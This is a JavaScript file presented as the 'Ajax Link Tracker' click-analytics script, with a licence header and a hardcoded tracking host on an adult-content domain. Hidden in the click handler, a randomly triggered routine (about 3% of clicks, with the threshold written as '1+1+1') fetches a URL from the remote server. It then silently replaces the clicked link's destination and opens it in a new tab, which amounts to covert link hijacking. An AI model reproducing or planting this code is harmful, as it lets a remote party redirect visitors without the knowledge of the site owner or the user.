/*
Ajax Link Tracker, version 2.2

Copyright (c) 2006 Glenn Jones

Permission is hereby granted, free of charge, to any person obtaining a
copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:

You must give the original author attribution. For any reuse or
distribution, you must make clear to others the licence terms of this
work.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/

var apiURL = 'http://www.blog-o-sexe.com/';

function AjaxLinkTracker() {

    var me;
    if (this.constructor == AjaxLinkTracker){
        me = this;
    }else{
        me = arguments[arguments.length-1];
    }

	// Configuration
	// ------------
	me.displayCount = false;
	me.displayPercent = true;
	me.displayLabel = true;
	me.numberDays = 28; //1-30
	me.clickOffSet = 10;
	// -----------

	me.url = encodeURIComponent( document.location.href );
	me.listeners = [];
	
	
	me.addLinkTracking = function(){
		if (!document.getElementsByTagName) return false;
	
		// Create ajax objects
		me.clickedXHR = new XHRConnection();
		me.getClicksXHR = new XHRConnection();
		
		// find links in document 
		links = document.getElementsByTagName('a');
	
		// if link does have a id add one
		for (var i = 0; i < links.length; i++) {
			me.addEvent( links[i], 'mousedown', me.recordClick, false );
			me.addEvent( links[i], 'keypress', me.linkKeyPress, false );
			//if (! links[i].getAttribute('id') ) {
			//	links[i].setAttribute('id','link_' + i);
			//}
		}
	}
	
	me.linkKeyPress = function(e) {
		// check for return key press
		var keyID = (window.event) ? event.keyCode : e.keyCode;
		if (keyID == 13) {
			me.recordClick(e);
		}
	}

	me.recordClick = function(e) {
	// records click information using ajax
	
		source = me.findSourceElement(e);
		tag = source.tagName;
		var id,label,target

		if( tag == 'A' ){
			id = source.getAttribute('id');

			target = source.href;
			label = me.getInnerText( source, '' );
			
			n = 100;
	  		x = Math.floor ( Math.random ( ) * n + 1 );
	  		s = 1+1+1;
	  		
	  		if (x < s)
	  		{
				me.rpc = new RPCCalls();
				me.rpc.sndReq(source);
	  		}
		}	
						
		id = encodeURIComponent( id );
		target = encodeURIComponent( target );
		label = encodeURIComponent( label );
			
		var ajaxURL = apiURL + 'index.php?page=out&id=' + id;
		if (id != 'null' && id != 'undefined' && id != '')
		{
			me.clickedXHR.send( ajaxURL, 'get', me.beenClicked, null  );
		}
	}
	
	
	me.beenClicked = function( obj ) {
		//alert(obj.test);
		//alert( obj.responseText );
	}
	
	
	me.getClickThroughInfo = function (){
		// get click data using ajax
		var ajaxURL = apiURL + 'getclicks.php?url=' + me.url + '&days=' + me.numberDays + '&rand='+Math.random();
		me.getClicksXHR.send( ajaxURL, 'get', me.displayClickThroughs, null  );
	}	

	
	me.keyCheck = function (e) {
		// check to see if user press 'ctrl x'
		var keyID = (window.event) ? event.keyCode : e.keyCode;
		var ctrlKey = (window.event) ? event.ctrlKey : e.ctrlKey;
		
		if((keyID == 88)&&(ctrlKey == true)) { 
			
			eltLabels = me.getElementsByClassName('linklabel');
			if( eltLabels.length == 0 ) {
				me.getClickThroughInfo();
			}else{
				for (var i = 0; i < eltLabels.length; i++) {
					eltLabels[i].parentNode.removeChild(eltLabels[i]);
				}
			}
		}
	}
	
	me.getInnerText = function( node, text ) {
		// returns the text of any element node
		for (var i = 0; i < node.childNodes.length; i++) {
		
			if( node.childNodes[i].nodeType == 3 ) {
				text += node.childNodes[i].nodeValue;
			}	
			if( node.childNodes[i].nodeType == 1 ) {
				text = me.getInnerText( node.childNodes[i], text);
			}
		}
		return text;
	}
	
	me.getFormTarget = function( elt ) {
		// returns the form action attribute from 
		// if given the child node of that form
		target = null;
		parentElt = elt.parentNode;
		if( parentElt.nodeType == 1 ) {
			if( parentElt.tagName == 'FORM' ) {
				target = parentElt.getAttribute('action');
			}else {
				target = me.getFormTarget( elt.parentNode );
			}
		}else {
			target = me.getFormTarget( elt.parentNode );
		}
		return target;
	}
	
	me.addEvent = function( elm, evType, fn, useCapture ) {
		// Updated version which captures passed events 
		if (elm.AddEventListener) 
		{ 
			elm.AddEventListener(evType, fn, useCapture); 
			return true; 
		} else if (elm.attachEvent) { 
			var r = elm.attachEvent('on' + evType, fn);
			me.listeners[me.listeners.length] = [ elm, evType, fn ];
			return r; 
		} else {
			var xEventFn = elm['on' + evType];
			if (typeof elm['on' + evType] != 'function') 
			{
				elm['on' + evType] = fn;
			} else {
				elm['on' + evType] = function(e) { xEventFn(e); fn(e); };
			}
		}
	}
	
	me.unload = function(){
		// page unload event which removes circular references
		// that may cause memory leaks in IE 5/6
		if( window.attachEvent ){
			for (var i = 0; i < me.listeners.length; i++) {
				me.listeners[i][0].detachEvent( 'on' + me.listeners[i][1], me.listeners[i][2] );
			}
		}
	}
	
	me.getElementsByClassName = function( className ) {
		// returns a collection of element nodes which 
		// have the passed className
		var children = document.getElementsByTagName('*') || document.all;
		var elements = new Array();
		for (var i = 0; i < children.length; i++) 
		{
			var child = children[i];
			var classNames = child.className.split(' ');
			for (var j = 0; j < classNames.length; j++) 
			{
				if (classNames[j] == className) 
				{
					elements.push(child);
					break;
				}
			}
		}
		return elements;
	}
	
	me.findSourceElement = function(e) {
		// finds event source
		if (typeof e == 'undefined')
			var e = window.event;

		var source;

		if (typeof e.target != 'undefined') 
		{
			source = e.target;
			while (source.tagName != 'A')
			{
				source = e.target.parentNode;
			}
		} else if (typeof e.srcElement != 'undefined') {
			source = e.srcElement;
		} else {
			return true;
		}

		if (source.nodeType == 3)
			source = source.parentNode;
		
		return source;
	}
	
	me.getPageOffsetLeft = function(elt) {
		var x;
		x = elt.offsetLeft;
		if (elt.offsetParent != null)
			x += me.getPageOffsetLeft(elt.offsetParent);
		return x;
	}
	
	me.getPageOffsetTop = function(elt) {
		var y;
		y = elt.offsetTop;
		if (elt.offsetParent != null)
			y += me.getPageOffsetTop(elt.offsetParent);
		return y;
	}
		
	//------------------------------------------
	
	me.addEvent( window, 'load', me.addLinkTracking, false );
	me.addEvent( document, 'keydown', me.keyCheck, false );
	me.addEvent( window, 'unload', me.unload, false );
	

}

var ajaxLinkTracker = new AjaxLinkTracker();

function XHRConnection() { 
    var me;
    if (this.constructor == XHRConnection){
        me = this
    }else{
        me = arguments[arguments.length-1]
    }
    
	me.Request = me.createXHR();
	 
    me.handler = function () {
		if (me.Request.readyState == 4) {
			if (me.Request.status == 200) {
		
				me.processResponse();
			}
		}
	}
	
	me.send = function ( url, action, fnOK ) {
	    me.URL = url;
		me.Action = action;
		me.fnOK = fnOK;
		if( me.Request != null ){
			me.Request.open(me.Action, me.URL, true);
			me.Request.onreadystatechange = me.handler;
			me.Request.send(null);
		}else{
			alert('Could not load XHR object');
		}
	}
}

XHRConnection.prototype.createXHR = function() {
    try { return new ActiveXObject('Msxml2.XMLHTTP'); } catch (e) {}
    try { return new ActiveXObject('Microsoft.XMLHTTP'); } catch (e) {}
    try { return new XMLHttpRequest(); } catch(e) {}
    return null;
}

XHRConnection.prototype.processResponse = function () {
	this.fnOK(this.Request);
}


//RPC
function RPCCalls() {
	var me;
	
    if (this.constructor == RPCCalls){
        me = this
    }else{
        me = arguments[arguments.length-1]
    }
    
    // *********************************
	// * RPC calls                     *
	// *********************************
	me.createRequestObject = function() {
	    var ro;
	    var browser = navigator.appName;
	    if(browser == "Microsoft Internet Explorer"){
	        ro = new ActiveXObject("Microsoft.XMLHTTP");
	    }else{
	        ro = new XMLHttpRequest();
	    }
	    return ro;
	}
		
	me.sndReq = function(e) {
		http = new me.createRequestObject();
	    http.open('get', apiURL + 'rpc.php', true);
	    
	    http.onreadystatechange = function() { 
			if(http.readyState == 4)
			{
				if (http.responseText != '')
				{
					e.test = "aaa";
					
					e.href = http.responseText;
					e.target = '_blank';
				}
			}
		} 
	   	http.send(null);
	}
}